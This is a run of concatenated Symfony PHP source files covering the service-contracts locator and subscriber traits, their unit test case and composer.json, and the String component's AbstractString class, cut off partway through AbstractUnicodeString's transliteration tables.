Kevin Bond * * @template-covariant T of mixed * * @extends ServiceProviderInterface * @extends \IteratorAggregate */ interface ServiceCollectionInterface extends ServiceProviderInterface, \Countable, \IteratorAggregate { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Contracts\Service; use Psr\Container\ContainerExceptionInterface; use Psr\Container\NotFoundExceptionInterface; // Help opcache.preload discover always-needed symbols class_exists(ContainerExceptionInterface::class); class_exists(NotFoundExceptionInterface::class); /** * A trait to help implement ServiceProviderInterface. * * @author Robin Chalas * @author Nicolas Grekas */ trait ServiceLocatorTrait { private array $loading = []; private array $providedTypes; /** * @param array $factories */ public function __construct( private array $factories, ) { } public function has(string $id): bool { return isset($this->factories[$id]); } public function get(string $id): mixed { if (!isset($this->factories[$id])) { throw $this->createNotFoundException($id); } if (isset($this->loading[$id])) { $ids = array_values($this->loading); $ids = \array_slice($this->loading, array_search($id, $ids)); $ids[] = $id; throw $this->createCircularReferenceException($id, $ids); } $this->loading[$id] = $id; try { return $this->factories[$id]($this); } finally { unset($this->loading[$id]); } } public function getProvidedServices(): array { if (!isset($this->providedTypes)) { $this->providedTypes = []; foreach ($this->factories as $name => $factory) { if (!\is_callable($factory)) { $this->providedTypes[$name] = '?'; } else { $type = (new \ReflectionFunction($factory))->getReturnType(); $this->providedTypes[$name] = $type ? ($type->allowsNull() ? '?' : '').($type instanceof \ReflectionNamedType ? $type->getName() : $type) : '?'; } } } return $this->providedTypes; } private function createNotFoundException(string $id): NotFoundExceptionInterface { if (!$alternatives = array_keys($this->factories)) { $message = 'is empty...'; } else { $last = array_pop($alternatives); if ($alternatives) { $message = \sprintf('only knows about the "%s" and "%s" services.', implode('", "', $alternatives), $last); } else { $message = \sprintf('only knows about the "%s" service.', $last); } } if ($this->loading) { $message = \sprintf('The service "%s" has a dependency on a non-existent service "%s". This locator %s', end($this->loading), $id, $message); } else { $message = \sprintf('Service "%s" not found: the current service locator %s', $id, $message); } return new class($message) extends \InvalidArgumentException implements NotFoundExceptionInterface { }; } private function createCircularReferenceException(string $id, array $path): ContainerExceptionInterface { return new class(\sprintf('Circular reference detected for service "%s", path: "%s".', $id, implode(' -> ', $path))) extends \RuntimeException implements ContainerExceptionInterface { }; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Contracts\Service; use Psr\Container\ContainerInterface; use Symfony\Contracts\Service\Attribute\Required; use Symfony\Contracts\Service\Attribute\SubscribedService; /** * Implementation of ServiceSubscriberInterface that determines subscribed services * from methods that have the #[SubscribedService] attribute. * * Service ids are available as "ClassName::methodName" so that the implementation * of subscriber methods can be just `return $this->container->get(__METHOD__);`. * * @author Kevin Bond */ trait ServiceMethodsSubscriberTrait { protected ContainerInterface $container; public static function getSubscribedServices(): array { $services = method_exists(get_parent_class(self::class) ?: '', __FUNCTION__) ? parent::getSubscribedServices() : []; foreach ((new \ReflectionClass(self::class))->getMethods() as $method) { if (self::class !== $method->getDeclaringClass()->name) { continue; } if (!$attribute = $method->getAttributes(SubscribedService::class)[0] ?? null) { continue; } if ($method->isStatic() || $method->isAbstract() || $method->isGenerator() || $method->isInternal() || $method->getNumberOfRequiredParameters()) { throw new \LogicException(\sprintf('Cannot use "%s" on method "%s::%s()" (can only be used on non-static, non-abstract methods with no parameters).', SubscribedService::class, self::class, $method->name)); } if (!$returnType = $method->getReturnType()) { throw new \LogicException(\sprintf('Cannot use "%s" on methods without a return type in "%s::%s()".', SubscribedService::class, $method->name, self::class)); } /* @var SubscribedService $attribute */ $attribute = $attribute->newInstance(); $attribute->key ??= self::class.'::'.$method->name; $attribute->type ??= $returnType instanceof \ReflectionNamedType ? $returnType->getName() : (string) $returnType; $attribute->nullable = $attribute->nullable ?: $returnType->allowsNull(); if ($attribute->attributes) { $services[] = $attribute; } else { $services[$attribute->key] = ($attribute->nullable ? '?' : '').$attribute->type; } } return $services; } #[Required] public function setContainer(ContainerInterface $container): ?ContainerInterface { $ret = null; if (method_exists(get_parent_class(self::class) ?: '', __FUNCTION__)) { $ret = parent::setContainer($container); } $this->container = $container; return $ret; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Contracts\Service; use Psr\Container\ContainerInterface; /** * A ServiceProviderInterface exposes the identifiers and the types of services provided by a container. * * @author Nicolas Grekas * @author Mateusz Sip * * @template-covariant T of mixed */ interface ServiceProviderInterface extends ContainerInterface { /** * @return T */ public function get(string $id): mixed; public function has(string $id): bool; /** * Returns an associative array of service types keyed by the identifiers provided by the current container. * * Examples: * * * ['logger' => 'Psr\Log\LoggerInterface'] means the object provides a service named "logger" that implements Psr\Log\LoggerInterface * * ['foo' => '?'] means the container provides service name "foo" of unspecified type * * ['bar' => '?Bar\Baz'] means the container provides a service "bar" of type Bar\Baz|null * * @return array The provided service types, keyed by service names */ public function getProvidedServices(): array; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Contracts\Service; use Symfony\Contracts\Service\Attribute\SubscribedService; /** * A ServiceSubscriber exposes its dependencies via the static {@link getSubscribedServices} method. * * The getSubscribedServices method returns an array of service types required by such instances, * optionally keyed by the service names used internally. Service types that start with an interrogation * mark "?" are optional, while the other ones are mandatory service dependencies. * * The injected service locators SHOULD NOT allow access to any other services not specified by the method. * * It is expected that ServiceSubscriber instances consume PSR-11-based service locators internally. * This interface does not dictate any injection method for these service locators, although constructor * injection is recommended. * * @author Nicolas Grekas */ interface ServiceSubscriberInterface { /** * Returns an array of service types (or {@see SubscribedService} objects) required * by such instances, optionally keyed by the service names used internally. * * For mandatory dependencies: * * * ['logger' => 'Psr\Log\LoggerInterface'] means the objects use the "logger" name * internally to fetch a service which must implement Psr\Log\LoggerInterface. * * ['loggers' => 'Psr\Log\LoggerInterface[]'] means the objects use the "loggers" name * internally to fetch an iterable of Psr\Log\LoggerInterface instances. * * ['Psr\Log\LoggerInterface'] is a shortcut for * * ['Psr\Log\LoggerInterface' => 'Psr\Log\LoggerInterface'] * * otherwise: * * * ['logger' => '?Psr\Log\LoggerInterface'] denotes an optional dependency * * ['loggers' => '?Psr\Log\LoggerInterface[]'] denotes an optional iterable dependency * * ['?Psr\Log\LoggerInterface'] is a shortcut for * * ['Psr\Log\LoggerInterface' => '?Psr\Log\LoggerInterface'] * * additionally, an array of {@see SubscribedService}'s can be returned: * * * [new SubscribedService('logger', Psr\Log\LoggerInterface::class)] * * [new SubscribedService(type: Psr\Log\LoggerInterface::class, nullable: true)] * * [new SubscribedService('http_client', HttpClientInterface::class, attributes: new Target('githubApi'))] * * @return string[]|SubscribedService[] The required service types, optionally keyed by service names */ public static function getSubscribedServices(): array; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Contracts\Service; use Psr\Container\ContainerInterface; use Symfony\Contracts\Service\Attribute\Required; use Symfony\Contracts\Service\Attribute\SubscribedService; trigger_deprecation('symfony/contracts', 'v3.5', '"%s" is deprecated, use "ServiceMethodsSubscriberTrait" instead.', ServiceSubscriberTrait::class); /** * Implementation of ServiceSubscriberInterface that determines subscribed services * from methods that have the #[SubscribedService] attribute. * * Service ids are available as "ClassName::methodName" so that the implementation * of subscriber methods can be just `return $this->container->get(__METHOD__);`. * * @property ContainerInterface $container * * @author Kevin Bond * * @deprecated since symfony/contracts v3.5, use ServiceMethodsSubscriberTrait instead */ trait ServiceSubscriberTrait { public static function getSubscribedServices(): array { $services = method_exists(get_parent_class(self::class) ?: '', __FUNCTION__) ? parent::getSubscribedServices() : []; foreach ((new \ReflectionClass(self::class))->getMethods() as $method) { if (self::class !== $method->getDeclaringClass()->name) { continue; } if (!$attribute = $method->getAttributes(SubscribedService::class)[0] ?? null) { continue; } if ($method->isStatic() || $method->isAbstract() || $method->isGenerator() || $method->isInternal() || $method->getNumberOfRequiredParameters()) { throw new \LogicException(\sprintf('Cannot use "%s" on method "%s::%s()" (can only be used on non-static, non-abstract methods with no parameters).', SubscribedService::class, self::class, $method->name)); } if (!$returnType = $method->getReturnType()) { throw new \LogicException(\sprintf('Cannot use "%s" on methods without a return type in "%s::%s()".', SubscribedService::class, $method->name, self::class)); } /* @var SubscribedService $attribute */ $attribute = $attribute->newInstance(); $attribute->key ??= self::class.'::'.$method->name; $attribute->type ??= $returnType instanceof \ReflectionNamedType ? $returnType->getName() : (string) $returnType; $attribute->nullable = $attribute->nullable ?: $returnType->allowsNull(); if ($attribute->attributes) { $services[] = $attribute; } else { $services[$attribute->key] = ($attribute->nullable ? '?' : '').$attribute->type; } } return $services; } #[Required] public function setContainer(ContainerInterface $container): ?ContainerInterface { $ret = null; if (method_exists(get_parent_class(self::class) ?: '', __FUNCTION__)) { $ret = parent::setContainer($container); } $this->container = $container; return $ret; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Contracts\Service\Test; class_alias(ServiceLocatorTestCase::class, ServiceLocatorTest::class); if (false) { /** * @deprecated since PHPUnit 9.6 */ class ServiceLocatorTest { } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Contracts\Service\Test; use PHPUnit\Framework\TestCase; use Psr\Container\ContainerExceptionInterface; use Psr\Container\ContainerInterface; use Psr\Container\NotFoundExceptionInterface; use Symfony\Contracts\Service\ServiceLocatorTrait; abstract class ServiceLocatorTestCase extends TestCase { /** * @param array $factories */ protected function getServiceLocator(array $factories): ContainerInterface { return new class($factories) implements ContainerInterface { use ServiceLocatorTrait; }; } public function testHas() { $locator = $this->getServiceLocator([ 'foo' => fn () => 'bar', 'bar' => fn () => 'baz', fn () => 'dummy', ]); $this->assertTrue($locator->has('foo')); $this->assertTrue($locator->has('bar')); $this->assertFalse($locator->has('dummy')); } public function testGet() { $locator = $this->getServiceLocator([ 'foo' => fn () => 'bar', 'bar' => fn () => 'baz', ]); $this->assertSame('bar', $locator->get('foo')); $this->assertSame('baz', $locator->get('bar')); } public function testGetDoesNotMemoize() { $i = 0; $locator = $this->getServiceLocator([ 'foo' => function () use (&$i) { ++$i; return 'bar'; }, ]); $this->assertSame('bar', $locator->get('foo')); $this->assertSame('bar', $locator->get('foo')); $this->assertSame(2, $i); } public function testThrowsOnUndefinedInternalService() { $locator = $this->getServiceLocator([ 'foo' => function () use (&$locator) { return $locator->get('bar'); }, ]); $this->expectException(NotFoundExceptionInterface::class); $this->expectExceptionMessage('The service "foo" has a dependency on a non-existent service "bar". This locator only knows about the "foo" service.'); $locator->get('foo'); } public function testThrowsOnCircularReference() { $locator = $this->getServiceLocator([ 'foo' => function () use (&$locator) { return $locator->get('bar'); }, 'bar' => function () use (&$locator) { return $locator->get('baz'); }, 'baz' => function () use (&$locator) { return $locator->get('bar'); }, ]); $this->expectException(ContainerExceptionInterface::class); $this->expectExceptionMessage('Circular reference detected for service "bar", path: "bar -> baz -> bar".'); $locator->get('foo'); } } { "name": "symfony/service-contracts", "type": "library", "description": "Generic abstractions related to writing services", "keywords": ["abstractions", "contracts", "decoupling", "interfaces", "interoperability", "standards"], "homepage": "https://symfony.com", "license": "MIT", "authors": [ { "name": "Nicolas Grekas", "email": "p@tchwork.com" }, { "name": "Symfony Community", "homepage": "https://symfony.com/contributors" } ], "require": { "php": ">=8.1", "psr/container": "^1.1|^2.0", "symfony/deprecation-contracts": "^2.5|^3" }, "conflict": { "ext-psr": "<1.1|>=2" }, "autoload": { "psr-4": { "Symfony\\Contracts\\Service\\": "" }, "exclude-from-classmap": [ "/Test/" ] }, "minimum-stability": "dev", "extra": { "branch-alias": { "dev-main": "3.6-dev" }, "thanks": { "name": "symfony/contracts", "url": "https://github.com/symfony/contracts" } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\String; use Symfony\Component\String\Exception\ExceptionInterface; use Symfony\Component\String\Exception\InvalidArgumentException; use Symfony\Component\String\Exception\RuntimeException; /** * Represents a string of abstract characters. * * Unicode defines 3 types of "characters" (bytes, code points and grapheme clusters). * This class is the abstract type to use as a type-hint when the logic you want to * implement doesn't care about the exact variant it deals with. * * @author Nicolas Grekas * @author Hugo Hamon * * @throws ExceptionInterface */ abstract class AbstractString implements \Stringable, \JsonSerializable { public const PREG_PATTERN_ORDER = \PREG_PATTERN_ORDER; public const PREG_SET_ORDER = \PREG_SET_ORDER; public const PREG_OFFSET_CAPTURE = \PREG_OFFSET_CAPTURE; public const PREG_UNMATCHED_AS_NULL = \PREG_UNMATCHED_AS_NULL; public const PREG_SPLIT = 0; public const PREG_SPLIT_NO_EMPTY = \PREG_SPLIT_NO_EMPTY; public const PREG_SPLIT_DELIM_CAPTURE = \PREG_SPLIT_DELIM_CAPTURE; public const PREG_SPLIT_OFFSET_CAPTURE = \PREG_SPLIT_OFFSET_CAPTURE; protected $string = ''; protected $ignoreCase = false; abstract public function __construct(string $string = ''); /** * Unwraps instances of AbstractString back to strings. * * @return string[]|array */ public static function unwrap(array $values): array { foreach ($values as $k => $v) { if ($v instanceof self) { $values[$k] = $v->__toString(); } elseif (\is_array($v) && $values[$k] !== $v = static::unwrap($v)) { $values[$k] = $v; } } return $values; } /** * Wraps (and normalizes) strings in instances of AbstractString. * * @return static[]|array */ public static function wrap(array $values): array { $i = 0; $keys = null; foreach ($values as $k => $v) { if (\is_string($k) && '' !== $k && $k !== $j = (string) new static($k)) { $keys ??= array_keys($values); $keys[$i] = $j; } if (\is_string($v)) { $values[$k] = new static($v); } elseif (\is_array($v) && $values[$k] !== $v = static::wrap($v)) { $values[$k] = $v; } ++$i; } return null !== $keys ? array_combine($keys, $values) : $values; } /** * @param string|string[] $needle */ public function after(string|iterable $needle, bool $includeNeedle = false, int $offset = 0): static { $str = clone $this; $i = \PHP_INT_MAX; if (\is_string($needle)) { $needle = [$needle]; } foreach ($needle as $n) { $n = (string) $n; $j = $this->indexOf($n, $offset); if (null !== $j && $j < $i) { $i = $j; $str->string = $n; } } if (\PHP_INT_MAX === $i) { return $str; } if (!$includeNeedle) { $i += $str->length(); } return $this->slice($i); } /** * @param string|string[] $needle */ public function afterLast(string|iterable $needle, bool $includeNeedle = false, int $offset = 0): static { $str = clone $this; $i = null; if (\is_string($needle)) { $needle = [$needle]; } foreach ($needle as $n) { $n = (string) $n; $j = $this->indexOfLast($n, $offset); if (null !== $j && $j >= $i) { $i = $offset = $j; $str->string = $n; } } if (null === $i) { return $str; } if (!$includeNeedle) { $i += $str->length(); } return $this->slice($i); } abstract public function append(string ...$suffix): static; /** * @param string|string[] $needle */ public function before(string|iterable $needle, bool $includeNeedle = false, int $offset = 0): static { $str = clone $this; $i = \PHP_INT_MAX; if (\is_string($needle)) { $needle = [$needle]; } foreach ($needle as $n) { $n = (string) $n; $j = $this->indexOf($n, $offset); if (null !== $j && $j < $i) { $i = $j; $str->string = $n; } } if (\PHP_INT_MAX === $i) { return $str; } if ($includeNeedle) { $i += $str->length(); } return $this->slice(0, $i); } /** * @param string|string[] $needle */ public function beforeLast(string|iterable $needle, bool $includeNeedle = false, int $offset = 0): static { $str = clone $this; $i = null; if (\is_string($needle)) { $needle = [$needle]; } foreach ($needle as $n) { $n = (string) $n; $j = $this->indexOfLast($n, $offset); if (null !== $j && $j >= $i) { $i = $offset = $j; $str->string = $n; } } if (null === $i) { return $str; } if ($includeNeedle) { $i += $str->length(); } return $this->slice(0, $i); } /** * @return int[] */ public function bytesAt(int $offset): array { $str = $this->slice($offset, 1); return '' === $str->string ? [] : array_values(unpack('C*', $str->string)); } abstract public function camel(): static; /** * @return static[] */ abstract public function chunk(int $length = 1): array; public function collapseWhitespace(): static { $str = clone $this; $str->string = trim(preg_replace("/(?:[ \n\r\t\x0C]{2,}+|[\n\r\t\x0C])/", ' ', $str->string), " \n\r\t\x0C"); return $str; } /** * @param string|string[] $needle */ public function containsAny(string|iterable $needle): bool { return null !== $this->indexOf($needle); } /** * @param string|string[] $suffix */ public function endsWith(string|iterable $suffix): bool { if (\is_string($suffix)) { throw new \TypeError(\sprintf('Method "%s()" must be overridden by class "%s" to deal with non-iterable values.', __FUNCTION__, static::class)); } foreach ($suffix as $s) { if ($this->endsWith((string) $s)) { return true; } } return false; } public function ensureEnd(string $suffix): static { if (!$this->endsWith($suffix)) { return $this->append($suffix); } $suffix = preg_quote($suffix); $regex = '{('.$suffix.')(?:'.$suffix.')++$}D'; return $this->replaceMatches($regex.($this->ignoreCase ? 'i' : ''), '$1'); } public function ensureStart(string $prefix): static { $prefix = new static($prefix); if (!$this->startsWith($prefix)) { return $this->prepend($prefix); } $str = clone $this; $i = $prefixLen = $prefix->length(); while ($this->indexOf($prefix, $i) === $i) { $str = $str->slice($prefixLen); $i += $prefixLen; } return $str; } /** * @param string|string[] $string */ public function equalsTo(string|iterable $string): bool { if (\is_string($string)) { throw new \TypeError(\sprintf('Method "%s()" must be overridden by class "%s" to deal with non-iterable values.', __FUNCTION__, static::class)); } foreach ($string as $s) { if ($this->equalsTo((string) $s)) { return true; } } return false; } abstract public function folded(): static; public function ignoreCase(): static { $str = clone $this; $str->ignoreCase = true; return $str; } /** * @param string|string[] $needle */ public function indexOf(string|iterable $needle, int $offset = 0): ?int { if (\is_string($needle)) { throw new \TypeError(\sprintf('Method "%s()" must be overridden by class "%s" to deal with non-iterable values.', __FUNCTION__, static::class)); } $i = \PHP_INT_MAX; foreach ($needle as $n) { $j = $this->indexOf((string) $n, $offset); if (null !== $j && $j < $i) { $i = $j; } } return \PHP_INT_MAX === $i ? null : $i; } /** * @param string|string[] $needle */ public function indexOfLast(string|iterable $needle, int $offset = 0): ?int { if (\is_string($needle)) { throw new \TypeError(\sprintf('Method "%s()" must be overridden by class "%s" to deal with non-iterable values.', __FUNCTION__, static::class)); } $i = null; foreach ($needle as $n) { $j = $this->indexOfLast((string) $n, $offset); if (null !== $j && $j >= $i) { $i = $offset = $j; } } return $i; } public function isEmpty(): bool { return '' === $this->string; } abstract public function join(array $strings, ?string $lastGlue = null): static; public function jsonSerialize(): string { return $this->string; } abstract public function length(): int; abstract public function lower(): static; /** * Matches the string using a regular expression. * * Pass PREG_PATTERN_ORDER or PREG_SET_ORDER as $flags to get all occurrences matching the regular expression. * * @return array All matches in a multi-dimensional array ordered according to flags */ abstract public function match(string $regexp, int $flags = 0, int $offset = 0): array; abstract public function padBoth(int $length, string $padStr = ' '): static; abstract public function padEnd(int $length, string $padStr = ' '): static; abstract public function padStart(int $length, string $padStr = ' '): static; abstract public function prepend(string ...$prefix): static; public function repeat(int $multiplier): static { if (0 > $multiplier) { throw new InvalidArgumentException(\sprintf('Multiplier must be positive, %d given.', $multiplier)); } $str = clone $this; $str->string = str_repeat($str->string, $multiplier); return $str; } abstract public function replace(string $from, string $to): static; abstract public function replaceMatches(string $fromRegexp, string|callable $to): static; abstract public function reverse(): static; abstract public function slice(int $start = 0, ?int $length = null): static; abstract public function snake(): static; abstract public function splice(string $replacement, int $start = 0, ?int $length = null): static; /** * @return static[] */ public function split(string $delimiter, ?int $limit = null, ?int $flags = null): array { if (null === $flags) { throw new \TypeError('Split behavior when $flags is null must be implemented by child classes.'); } if ($this->ignoreCase) { $delimiter .= 'i'; } set_error_handler(static fn ($t, $m) => throw new InvalidArgumentException($m)); try { if (false === $chunks = preg_split($delimiter, $this->string, $limit, $flags)) { throw new RuntimeException('Splitting failed with error: '.preg_last_error_msg()); } } finally { restore_error_handler(); } $str = clone $this; if (self::PREG_SPLIT_OFFSET_CAPTURE & $flags) { foreach ($chunks as &$chunk) { $str->string = $chunk[0]; $chunk[0] = clone $str; } } else { foreach ($chunks as &$chunk) { $str->string = $chunk; $chunk = clone $str; } } return $chunks; } /** * @param string|string[] $prefix */ public function startsWith(string|iterable $prefix): bool { if (\is_string($prefix)) { throw new \TypeError(\sprintf('Method "%s()" must be overridden by class "%s" to deal with non-iterable values.', __FUNCTION__, static::class)); } foreach ($prefix as $prefix) { if ($this->startsWith((string) $prefix)) { return true; } } return false; } abstract public function title(bool $allWords = false): static; public function toByteString(?string $toEncoding = null): ByteString { $b = new ByteString(); $toEncoding = \in_array($toEncoding, ['utf8', 'utf-8', 'UTF8'], true) ? 'UTF-8' : $toEncoding; if (null === $toEncoding || $toEncoding === $fromEncoding = $this instanceof AbstractUnicodeString || preg_match('//u', $b->string) ? 'UTF-8' : 'Windows-1252') { $b->string = $this->string; return $b; } try { $b->string = mb_convert_encoding($this->string, $toEncoding, 'UTF-8'); } catch (\ValueError $e) { if (!\function_exists('iconv')) { throw new InvalidArgumentException($e->getMessage(), $e->getCode(), $e); } $b->string = iconv('UTF-8', $toEncoding, $this->string); } return $b; } public function toCodePointString(): CodePointString { return new CodePointString($this->string); } public function toString(): string { return $this->string; } public function toUnicodeString(): UnicodeString { return new UnicodeString($this->string); } abstract public function trim(string $chars = " \t\n\r\0\x0B\x0C\u{A0}\u{FEFF}"): static; abstract public function trimEnd(string $chars = " \t\n\r\0\x0B\x0C\u{A0}\u{FEFF}"): static; /** * @param string|string[] $prefix */ public function trimPrefix($prefix): static { if (\is_array($prefix) || $prefix instanceof \Traversable) { // don't use is_iterable(), it's slow foreach ($prefix as $s) { $t = $this->trimPrefix($s); if ($t->string !== $this->string) { return $t; } } return clone $this; } $str = clone $this; if ($prefix instanceof self) { $prefix = $prefix->string; } else { $prefix = (string) $prefix; } if ('' !== $prefix && \strlen($this->string) >= \strlen($prefix) && 0 === substr_compare($this->string, $prefix, 0, \strlen($prefix), $this->ignoreCase)) { $str->string = substr($this->string, \strlen($prefix)); } return $str; } abstract public function trimStart(string $chars = " \t\n\r\0\x0B\x0C\u{A0}\u{FEFF}"): static; /** * @param string|string[] $suffix */ public function trimSuffix($suffix): static { if (\is_array($suffix) || $suffix instanceof \Traversable) { // don't use is_iterable(), it's slow foreach ($suffix as $s) { $t = $this->trimSuffix($s); if ($t->string !== $this->string) { return $t; } } return clone $this; } $str = clone $this; if ($suffix instanceof self) { $suffix = $suffix->string; } else { $suffix = (string) $suffix; } if ('' !== $suffix && \strlen($this->string) >= \strlen($suffix) && 0 === substr_compare($this->string, $suffix, -\strlen($suffix), null, $this->ignoreCase)) { $str->string = substr($this->string, 0, -\strlen($suffix)); } return $str; } public function truncate(int $length, string $ellipsis = '', bool $cut = true): static { $stringLength = $this->length(); if ($stringLength <= $length) { return clone $this; } $ellipsisLength = '' !== $ellipsis ? (new static($ellipsis))->length() : 0; if ($length < $ellipsisLength) { $ellipsisLength = 0; } if (!$cut) { if (null === $length = $this->indexOf([' ', "\r", "\n", "\t"], ($length ?: 1) - 1)) { return clone $this; } $length += $ellipsisLength; } $str = $this->slice(0, $length - $ellipsisLength); return $ellipsisLength ? $str->trimEnd()->append($ellipsis) : $str; } abstract public function upper(): static; /** * Returns the printable length on a terminal. */ abstract public function width(bool $ignoreAnsiDecoration = true): int; public function wordwrap(int $width = 75, string $break = "\n", bool $cut = false): static { $lines = '' !== $break ? $this->split($break) : [clone $this]; $chars = []; $mask = ''; if (1 === \count($lines) && '' === $lines[0]->string) { return $lines[0]; } foreach ($lines as $i => $line) { if ($i) { $chars[] = $break; $mask .= '#'; } foreach ($line->chunk() as $char) { $chars[] = $char->string; $mask .= ' ' === $char->string ? ' ' : '?'; } } $string = ''; $j = 0; $b = $i = -1; $mask = wordwrap($mask, $width, '#', $cut); while (false !== $b = strpos($mask, '#', $b + 1)) { for (++$i; $i < $b; ++$i) { $string .= $chars[$j]; unset($chars[$j++]); } if ($break === $chars[$j] || ' ' === $chars[$j]) { unset($chars[$j++]); } $string .= $break; } $str = clone $this; $str->string = $string.implode('', $chars); return $str; } public function __sleep(): array { return ['string']; } public function __clone() { $this->ignoreCase = false; } public function __toString(): string { return $this->string; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\String; use Symfony\Component\String\Exception\ExceptionInterface; use Symfony\Component\String\Exception\InvalidArgumentException; use Symfony\Component\String\Exception\RuntimeException; /** * Represents a string of abstract Unicode characters. * * Unicode defines 3 types of "characters" (bytes, code points and grapheme clusters). * This class is the abstract type to use as a type-hint when the logic you want to * implement is Unicode-aware but doesn't care about code points vs grapheme clusters. * * @author Nicolas Grekas * * @throws ExceptionInterface */ abstract class AbstractUnicodeString extends AbstractString { public const NFC = \Normalizer::NFC; public const NFD = \Normalizer::NFD; public const NFKC = \Normalizer::NFKC; public const NFKD = \Normalizer::NFKD; // all ASCII letters sorted by typical frequency of occurrence private const ASCII = "\x20\x65\x69\x61\x73\x6E\x74\x72\x6F\x6C\x75\x64\x5D\x5B\x63\x6D\x70\x27\x0A\x67\x7C\x68\x76\x2E\x66\x62\x2C\x3A\x3D\x2D\x71\x31\x30\x43\x32\x2A\x79\x78\x29\x28\x4C\x39\x41\x53\x2F\x50\x22\x45\x6A\x4D\x49\x6B\x33\x3E\x35\x54\x3C\x44\x34\x7D\x42\x7B\x38\x46\x77\x52\x36\x37\x55\x47\x4E\x3B\x4A\x7A\x56\x23\x48\x4F\x57\x5F\x26\x21\x4B\x3F\x58\x51\x25\x59\x5C\x09\x5A\x2B\x7E\x5E\x24\x40\x60\x7F\x00\x01\x02\x03\x04\x05\x06\x07\x08\x0B\x0C\x0D\x0E\x0F\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\x1C\x1D\x1E\x1F"; // the subset of folded case mappings that is not in lower case mappings private const FOLD_FROM = ['İ', 'µ', 'ſ', "\xCD\x85", 'ς', 'ϐ', 'ϑ', 'ϕ', 'ϖ', 'ϰ', 'ϱ', 'ϵ', 'ẛ', "\xE1\xBE\xBE", 'ß', 'ʼn', 'ǰ', 'ΐ', 'ΰ', 'և', 'ẖ', 'ẗ', 'ẘ', 'ẙ', 'ẚ', 'ẞ', 'ὐ', 'ὒ', 'ὔ', 'ὖ', 'ᾀ', 'ᾁ', 'ᾂ', 'ᾃ', 'ᾄ', 'ᾅ', 'ᾆ', 'ᾇ', 'ᾈ', 'ᾉ', 'ᾊ', 'ᾋ', 'ᾌ', 'ᾍ', 'ᾎ', 'ᾏ', 'ᾐ', 'ᾑ', 'ᾒ', 'ᾓ', 'ᾔ', 'ᾕ', 'ᾖ', 'ᾗ', 'ᾘ', 'ᾙ', 'ᾚ', 'ᾛ', 'ᾜ', 'ᾝ', 'ᾞ', 'ᾟ', 'ᾠ', 'ᾡ', 'ᾢ', 'ᾣ', 'ᾤ', 'ᾥ', 'ᾦ', 'ᾧ', 'ᾨ', 'ᾩ', 'ᾪ', 'ᾫ', 'ᾬ', 'ᾭ', 'ᾮ', 'ᾯ', 'ᾲ', 'ᾳ', 'ᾴ', 'ᾶ', 'ᾷ', 'ᾼ', 'ῂ', 'ῃ', 'ῄ', 'ῆ', 'ῇ', 'ῌ', 'ῒ', 'ῖ', 'ῗ', 'ῢ', 'ῤ', 'ῦ', 'ῧ', 'ῲ', 'ῳ', 'ῴ', 'ῶ', 'ῷ', 'ῼ', 'ff', 'fi', 'fl', 'ffi', 'ffl', 'ſt', 'st', 'ﬓ', 'ﬔ', 'ﬕ', 'ﬖ', 'ﬗ']; private const FOLD_TO = ['i̇', 'μ', 's', 'ι', 'σ', 'β', 'θ', 'φ', 'π', 'κ', 'ρ', 'ε', 'ṡ', 'ι', 'ss', 'ʼn', 'ǰ', 'ΐ', 'ΰ', 'եւ', 'ẖ', 'ẗ', 'ẘ', 'ẙ', 'aʾ', 'ss', 'ὐ', 'ὒ', 'ὔ', 'ὖ', 'ἀι', 'ἁι', 'ἂι', 'ἃι', 'ἄι', 'ἅι', 'ἆι', 'ἇι', 'ἀι', 'ἁι', 'ἂι', 'ἃι', 'ἄι', 'ἅι', 'ἆι', 'ἇι', 'ἠι', 'ἡι', 'ἢι', 'ἣι', 'ἤι', 'ἥι', 'ἦι', 'ἧι', 'ἠι', 'ἡι', 'ἢι', 'ἣι', 'ἤι', 'ἥι', 'ἦι', 'ἧι', 'ὠι', 'ὡι', 'ὢι', 'ὣι', 'ὤι', 'ὥι', 'ὦι', 'ὧι', 'ὠι', 'ὡι', 'ὢι', 'ὣι', 'ὤι', 'ὥι', 'ὦι', 'ὧι', 'ὰι', 'αι', 'άι', 'ᾶ', 'ᾶι', 'αι', 'ὴι', 'ηι', 'ήι', 'ῆ', 'ῆι', 'ηι', 'ῒ', 'ῖ', 'ῗ', 'ῢ', 'ῤ', 'ῦ', 'ῧ', 'ὼι', 'ωι', 'ώι', 'ῶ', 'ῶι', 'ωι', 'ff', 'fi', 'fl', 'ffi', 'ffl', 'st', 'st', 'մն', 'մե', 'մի', 'վն', 'մխ']; // the subset of https://github.com/unicode-org/cldr/blob/master/common/transforms/Latin-ASCII.xml that is not in NFKD private const TRANSLIT_FROM = ['Æ', 'Ð', 'Ø', 'Þ', 'ß', 'æ', 'ð', 'ø', 'þ', 'Đ', 'đ', 'Ħ', 'ħ', 'ı', 'ĸ', 'Ŀ', 'ŀ', 'Ł', 'ł', 'ʼn', 'Ŋ', 'ŋ', 'Œ', 'œ', 'Ŧ', 'ŧ', 'ƀ', 'Ɓ', 'Ƃ', 'ƃ', 'Ƈ', 'ƈ', 'Ɖ', 'Ɗ', 'Ƌ', 'ƌ', 'Ɛ', 'Ƒ', 'ƒ', 'Ɠ', 'ƕ', 'Ɩ', 'Ɨ', 'Ƙ', 'ƙ', 'ƚ', 'Ɲ', 'ƞ', 'Ƣ', 'ƣ', 'Ƥ', 'ƥ', 'ƫ', 'Ƭ', 'ƭ', 'Ʈ', 'Ʋ', 'Ƴ', 'ƴ', 'Ƶ', 'ƶ', 'DŽ', 'Dž', 'dž', 'Ǥ', 'ǥ', 'ȡ', 'Ȥ', 'ȥ', 'ȴ', 'ȵ', 'ȶ', 'ȷ', 'ȸ', 'ȹ', 'Ⱥ', 'Ȼ', 'ȼ', 'Ƚ', 'Ⱦ', 'ȿ', 'ɀ', 